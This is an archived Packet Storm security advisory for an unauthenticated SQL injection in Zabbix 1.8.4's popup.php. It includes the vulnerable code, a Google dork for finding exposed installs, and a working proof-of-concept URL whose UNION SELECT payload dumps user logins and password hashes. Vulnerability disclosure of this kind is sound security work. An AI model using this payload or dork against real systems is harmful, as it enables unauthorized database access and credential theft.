exploit the possibilities

Zabbix 1.8.4 SQL Injection

Zabbix 1.8.4 SQL Injection
Posted Nov 24, 2011
Authored by Marcio Almeida

Zabbix versions 1.8.4 and below suffer from a remote SQL injection vulnerability in popup.php.

tags | exploit, remote, php, sql injection
MD5 | 87f70e3224cb26b9faa77e83708622b3

Zabbix 1.8.4 SQL Injection

Change Mirror Download
# Exploit Title: Zabbix <= 1.8.4 SQL Injection
# Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix"
# Date: November 24th, 2011
# Author: Marcio Almeida
# Software Link:
http://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/1.8.4/zabbix-1.8.4.tar.gz/download
# Version: <= 1.8.4
# Tested on: Linux

=============================================
- Release date: November 24th, 2011
- Discovered by: Marcio Almeida
- Severity: High
=============================================
- Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix"
=============================================

I. VULNERABILITY
-------------------------
Zabbix <= 1.8.4 SQL Injection

II. BACKGROUND
-------------------------
Zabbix is an enterprise-class open source distributed monitoring solution.
Zabbix is software that monitors numerous parameters of a network and the
health and integrity of servers. Properly configured, Zabbix can play an
important role in monitoring IT infrastructure. This is equally true for
small organisations with a few servers and for large companies with a
multitude of servers.

III. INTRODUCTION
-------------------------
Zabbix version 1.8.3 and 1.8.4 has one vulnerability in the popup.php that
enables an attacker to perform a SQL Injection Attack. No authentication
required.

IV. VULNERABLE CODE
-------------------------

File popup.php line 1513:


$sql = 'SELECT DISTINCT hostid,host '.
' FROM hosts'.
' WHERE '.DBin_node('hostid', $nodeid).
' AND status IN
('.HOST_STATUS_PROXY_ACTIVE.','.HOST_STATUS_PROXY_PASSIVE.')'.
' ORDER BY host,hostid';
$result = DBselect($sql);


V. PROOF OF CONCEPT
-------------------------

Below is a PoC request that retrieves all logins and MD5 password hashes of
zabbix in MySQL Database:

http://localhost/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23


VI. BUSINESS IMPACT
-------------------------
An attacker could exploit the vulnerability to retrieve any data from
databases accessible by zabbix db user.
In case zabbix has been given a more privileged mysql account the
exploitation could go as far as code execution.

An important remark regards the fact that the version 1.8.4 of zabbix
web software is the current version installed by the apt-get command
in debian linux distros.

VII. SYSTEMS AFFECTED
-------------------------
Versions 1.8.3 and 1.8.4 are vulnerable.

VIII. SOLUTION
-------------------------
Upgrade to version 1.8.9 that has just come out.

IX. REFERENCES
-------------------------
http://www.zabbix.com
https://support.zabbix.com/browse/ZBX-4385
http://www.securityfocus.com/bid/50803/info

X. CREDITS
-------------------------
The vulnerability has been discovered by Marcio Almeida
marcio (at) alligatorteam (dot) org
@marcioalm
www.alligatorteam.org

XI. ACKNOWLEDGEMENTS
-------------------------
To Heyder Andrade for development of Vulture.
To the Alligator Security Team.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    14 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close